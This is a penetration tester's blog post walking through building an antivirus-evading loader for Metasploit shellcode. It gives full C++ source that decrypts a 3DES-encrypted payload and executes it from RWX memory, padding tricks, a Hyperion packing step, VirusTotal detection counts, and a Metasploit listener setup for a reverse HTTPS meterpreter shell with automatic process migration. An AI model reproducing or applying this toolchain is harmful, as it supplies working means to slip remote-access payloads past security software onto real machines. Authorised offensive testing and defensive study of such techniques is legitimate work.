CodeWatch

This is a continuation of research based on my adventures on a penetration testing engagement described here. There were a few key features that I really wanted to add to enhance my DEP/AV bypass tool:

  • Bypass a majority of AV systems
  • Remove the dependency on the msvcr100d.dll file
  • Combine the Metasploit payload in the shellcodeexec application

The first thing I did was to combine shellcodeexec with the actual payload, which was really simple. First, after the variable with the randomly generated padding described in the first post, I added:

  char payload[]="payload output generated with msfpayload and msfencode";

 
I then removed the following code:

  if (argc < 2) {
    printf("Run:\n\tshellcodeexec \n");
    exit(-1);
  }

 
Then I modified this:

  sys_bineval(argv[1]);

 
To this:

  sys_bineval(payload);

 
The compiled code was only detected by ClamAV and Microsoft when submitted to VirusTotal. Next up was to remove the requirement for the msvcr100d.dll file to be required to be in the same directory as the exe. A quick search in Google found this: http://www.rhyous.com/2010/09/16/avoiding-the-msvcr100-dll-or-msvcr100d-dll/. Clearly, I am not a Visual Studio or C/C++ guy if I didn’t know this already. So the steps were:

  • Right click on Project and choose “Properties”.
  • Navigate to “Configuration Properties->C/C++->Code Generation”, and set “Runtime Library” to “Multi-threaded (/MT)”.
  • Configure this for the release exe and debug exe by clicking on the “Configuration” dropdown in the top left corner and selecting “Debug”, making the change, clicking apply, then selecting “Release”, making the change, and clicking apply.
  • Compile the code.

I then submitted to VirusTotal, but for whatever reason this is picked up by additional AV scanners (6 of 47). This includes AntiVir, ClamAV, ESET-NOD32, Ikarus, Kaspersky, and Microsoft. I wasn’t really happy with this result so I started looking at alternatives for bypassing AV.

I came across a few articles:

I downloaded Hyperion from http://nullsecurity.net/tools/binary.html. I then tried compiling with VS C++ Express but had problems and didn’t have wine setup and working on my Linux boxes so I started browsing through the files and noticed CodeBlocks XML files in with the .cpp and .h files, which is an open source C++ IDE. I downloaded Code::Blocks from http://www.codeblocks.org, loaded the project, and built it using the mingw compiler.

I then had to copy the folder “Fasm” and “FasmAES-1.0” to the directory in which the Hyperion.exe executable was created. I copied “Src\FasmContainer32” into this directory as well. The tool could then be run with:

  Hyperion.exe <infile.exe> <outfile.exe>

 
Note that depending on the system, it takes a few seconds up to a few minutes to actually make the connection as opposed to a regular meterpreter exe which is almost instantaneous. This is because Hyperion creates an executable that includes the original executable as an encrypted payload. The encrypted payload key is bruteforced when the executable loads which can take a few seconds up to a few minutes.

I then uploaded this executable and found that it was detected by 13 of 39 AV engines, but NOT by Microsoft or ClamAV. The downside is that many AV products have signatures to detect Hyperion. The upside is that I now had a few executables which could bypass most AV products between them.

I still wasn’t quite satisfied with this solution and began looking at ways to obfuscate the Metasploit payload in my executable, as this is the easiest portion for AV to identify. My objective at this point was to find a library to use to encrypt the payload, store the encrypted version of the payload in the executable, and call a function to decrypt this payload just before calling `sys_bineval`.

I came across a free C++ library called CryptoPP here: http://www.cryptopp.com, which seemed promising. The task now was to compile the library and include it in my custom shellcodeexec utility. Again, I am not a C/C++ guy, so this is really not in my area of expertise and I could not get this to compile correctly with the mingw g++ compiler or with VS 2010 (or 2012) C++ Express (loading the solution file would fail). I had a full copy of VS 2008 and decided to give that a go and the solution file loaded correctly and everything compiled fine.

I needed to convert some things with shellcodeexec in order to get it to compile as C++ instead of straight C. I changed:

  #include <string.h>

 
To:

  #include <string>

 
I also had to change several variables from char to string. I changed:

  int sys_bineval(char *argv);

 
To:

  int sys_bineval(std::string argv);

 
And:

  char payload[]="payload output generated with msfpayload and msfencode";

 
To:

  std::string payload ="payload output generated with msfpayload and msfencode";

 
Then I changed:

  int sys_bineval(char *argv)

 
To:

  int sys_bineval(std::string argv)

 
And:

  int pID;

 
To:

  DWORD pID;

 
I had to change:

  len = (size_t)strlen(argv);

 
To:

  len = (size_t)argv.length();

 
And:

  strncpy(code, argv, len);

 
To:

 strncpy(code, argv.c_str(), len);

 
Those changes enabled me to compile shellcodeexec as C++ after changing the project settings by right clicking on the project, selecting “Properties”, and then setting Configuration Properties->C/C++->Compile As = Compile as C++ Code (/TP). Now I just needed to integrate CryptoPP.

I copied all the header files from CryptoPP to the same directory as my shellcodeexec.c program. I also copied the cryptlib.lib file generated when I compiled the CryptoPP library. I decided to use something simple with an example, so I leveraged the instructions here for using 3DES: http://www.cryptopp.com/wiki/DefaultDecryptorWithMAC.

I wrote a small application to encrypt the original payload. Example:

  #define _CRT_SECURE_NO_DEPRECATE
  #define CRYPTOPP_DEFAULT_NO_DLL
  #define CRYPTOPP_ENABLE_NAMESPACE_WEAK 1

  #include <sys/types.h>
  #include <stdio.h>
  #include <string>
  #include <stdlib.h>
  #include <time.h>
  #include <ctype.h>
  #include <iostream>
  #include "dll.h"
  #include "des.h"
  #include "default.h"
  #include <windows.h>
  #pragma comment (lib,"cryptlib")
  
  USING_NAMESPACE(CryptoPP)
  USING_NAMESPACE(std)

  string payload = "payload output generated with msfpayload and msfencode";
  string enckey = "randomly generated string as the key";

  int main(int argc, char *argv[])
  {
    string encrypted;

    StringSource ssencrypt(cleartext, true,
      new DefaultEncryptorWithMAC(
        (byte*)enckey.data(), enckey.size(),
          new HexEncoder(
            new StringSink(encrypted)
          )
      )
    );

    cout << encrypted << endl;

    exit(0);
  }

 
I then used the output of the program as the new data assigned to the `payload` variable. I also renamed all references to `sys_bineval` to something of my own choosing and all references to `exec_payload` to something of my own choosing.

I then decided to add more padding. Note that in my last post I discovered that VS has a limit of just of 16,000 characters for a variable. So I modified the avoid.sh script from https://github.com/nccgroup/metasploitavevasion, commenting out `rm build.c`. I wrote a perl script to take one hundred chunks of 16,000 characters from the padding in the build.c file and turn them into variables for my C++ program. The perl code:

  #!/usr/bin/perl

  use warnings;
  use strict;

  my $chunk = 16000;
  my $multiple = 100;
  my $i = 0;

  while(<>) {
    chomp($_);

    if ($i == 2) {
      for (my $j = 0; $j < $multiple; $j++) {
        print "unsigned char padding".$j."[]=\"".substr($_, $j*$multiple+1, $chunk)."\";\n";
      }
    }
    $i++;
  }

 
The output of this was input into the shellcodeexec source code. I used the decryption function found in the 3DES example link above and assigned it to the variable passed to the shellcodeexec function and was good to go.

I modified my project settings to include:

  • Configuration Properties->Linker->Input->Additional Dependencies = cryptlib.lib
  • Configuration Properties->C/C++->Code Generation->Runtime Library = Multi-threaded (/MT)
  • Configuration Properties->General->Character Set = Use Multi-Byte Character Set

A sample stub of the modified shellcodeexec program (without modified names for `sys_bineval` and `exec_payload`):

  #define _CRT_SECURE_NO_DEPRECATE
  #define CRYPTOPP_DEFAULT_NO_DLL
  #define CRYPTOPP_ENABLE_NAMESPACE_WEAK 1

  #include <sys/types.h>
  #include <stdio.h>
  #include <string>
  #include <stdlib.h>
  #include <time.h>
  #include <ctype.h>
  #include <iostream>
  #include "dll.h"
  #include "des.h"
  #include "default.h"
  #include <windows.h>
  #pragma comment (lib,"cryptlib")
  
  USING_NAMESPACE(CryptoPP)
  USING_NAMESPACE(std)
  
  unsigned char padding0[]= "16,000 character chunk of padding";
  unsigned char padding2[]= "next 16,000 character chunk of padding";
  unsigned char padding3[]= "next 16,000 character chunk of padding";
  ... // padding4[] through padding96[] ommitted
  unsigned char padding97[]= "next 16,000 character chunk of padding";
  unsigned char padding98[]= "next 16,000 character chunk of padding";
  unsigned char padding99[]= "next 16,000 character chunk of padding";
  string payload = "CryptoPP encrypted version of payload";
  string enckey = "randomly generated string as the key";

  int sys_bineval(string argv);

  int main(int argc, char *argv[])
  {
    string decrypted;

    StringSource ssdecrypt(payload, true,
      new HexDecoder(
        new DefaultDecryptorWithMAC(
          (byte*)enckey.data(), enckey.size(),
            new StringSink(decrypted)
          )
        )
      );

    sys_bineval(decrypted);

    exit(0);
  }

  int sys_bineval(string argv)
  {
    size_t len;
    
    #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
      DWORD pID;
      char *code;
    #else
      int *addr;
      size_t page_size;
      pid_t pID;
    #endif

    len = (size_t)argv.length();

    #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
      // allocate a +rwx memory page
      code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

      // copy over the shellcode
      strncpy(code, argv.c_str(), len);

      // execute it by ASM code defined in exec_payload function
      WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
    #else
      pID = fork();
      if(pID<0)
        return 1;

      if(pID==0)
      {
        page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
        page_size = (len+page_size) & ~(page_size);	// align to page boundary

        // mmap an +rwx memory page
        addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, 0, 0);

        if (addr == MAP_FAILED)
          return 1;

        // copy over the shellcode
        strncpy((char *)addr, argv.c_str(), len);

        // execute it
        ((void (*)(void))addr)();
      }

      if(pID>0)
        waitpid(pID, 0, WNOHANG);
    #endif

      return 0;
  }

  #if defined(_WIN64)
    void __exec_payload(LPVOID);

    DWORD WINAPI exec_payload(LPVOID lpParameter)
    {
      __try
      {
        __exec_payload(lpParameter);
      }
        __except(EXCEPTION_EXECUTE_HANDLER)
        {
        }

      return 0;
    }
  #elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
    DWORD WINAPI exec_payload(LPVOID lpParameter)
    {
      __try
      {
        __asm
        {
          mov eax, [lpParameter]
          call eax
        }
      }
      __except(EXCEPTION_EXECUTE_HANDLER)
      {
      }

      return 0;
    }
  #endif

 

I compiled the code and tested to verify that it worked correctly. I tested on a Win2k12 server to ensure the DEP bypass technique still works. I then submitted to VirusTotal and found that it is caught by 3 of 47 AV products (Microsoft, Kaspersky, and Ikarus). I'm not really sure what these AV products are flagging on, I believe they are sandboxing or performing heuristics on the program, but that is a pretty good result.

Some people might take issue with or at least wonder why I submitted these samples to VirusTotal. In my thinking, these executables are just variants on shellcodeexec, which is already picked up by many AV products, so I am not really providing them with an advantage. I guess the one advantage is that maybe they can identify something in my semi-unique version that gets flagged in future iterations, but I can always change the algorithm and the key, which is the only major change I have really added to shellcodeexec.

In the future, I would like to combine this with some of Veil’s techniques: https://github.com/veil-evasion/Veil. I didn’t use Veil in the first place because it is AV evasion only, as far as I can tell, and I needed reliable AV evasion AND the ability to bypass DEP. This should be doable by integrating the PyInjector tool functionality discussed here: https://www.trustedsec.com/august-2012/new-tool-pyinjector-released-python-shellcode-injection/ with the obfuscation techniques already present in Veil.

The nice thing about this technique is that the key and encryption algorithm are fairly easy to change out and should result in successfully carrying out the cat and mouse AV game.

When running the payload, I suggest using a likely allowed outbound port such as 443, and then using a payload that corresponds to HTTPS traffic (windows/meterpreter/reverse_https). I also highly recommend configuring your listener to migrate to another process as soon as possible because if the executable is closed then your meterpreter session goes away. Example:

  use multi/handler
  set PAYLOAD windows/meterpreter/reverse_https
  set LHOST 1.1.1.1
  set LPORT 443
  set AutoRunScript post/windows/manage/smart_migrate
  run

 
When using various exploits, many times you have the option to upload your own meterpreter executable. This is found via the "show advanced" command. You can use your recently AV/DEP proof executable via:

  Set EXE::Custom /path/to/executable/file.exe

 
Happy Hunting!

Leave a Reply

Your email address will not be published. Required fields are marked *